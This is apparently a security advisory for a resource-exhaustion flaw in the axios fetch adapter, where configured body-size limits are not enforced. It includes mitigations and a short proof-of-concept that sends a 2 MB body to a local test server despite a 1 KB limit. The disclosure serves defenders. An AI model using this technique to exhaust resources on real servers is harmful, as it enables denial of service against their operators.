Allocation of Resources Without Limits or Throttling Affecting axios package, versions >=1.7.0 <1.16.0

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the fetch adapter when finite size limits are configured but not enforced. An attacker can exhaust server resources by sending or receiving oversized request or response bodies, such as through large data: URLs or attacker-controlled uploads, bypassing the intended boundaries.

Note:

This is only exploitable if the application explicitly configures finite maxContentLength or maxBodyLength limits and relies on the fetch adapter to enforce them.

This vulnerability can be mitigated by using the Node.js http adapter for server-side requests, validating or capping attacker-controlled request bodies before passing them to the library, and strictly allowlisting or rejecting attacker-controlled URL schemes, especially data: URLs, before making requests.

import http from 'node:http';
import axios from 'axios';

const server = http.createServer((req, res) => {
  let received = 0;

  req.on('data', chunk => {
    received += chunk.length;
  });

  req.on('end', () => {
    res.end(JSON.stringify({ received }));
  });
});

await new Promise(resolve => server.listen(0, resolve));
const url = `http://127.0.0.1:${server.address().port}/`;

await axios.post(url, 'A'.repeat(2 * 1024 * 1024), {
  adapter: 'fetch',
  maxBodyLength: 1024
});

// Vulnerable versions succeed and the server receives 2097152 bytes.
// Fixed versions reject with ERR_BAD_REQUEST.

server.close();

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub PR
• GitHub PR
• GitHub Release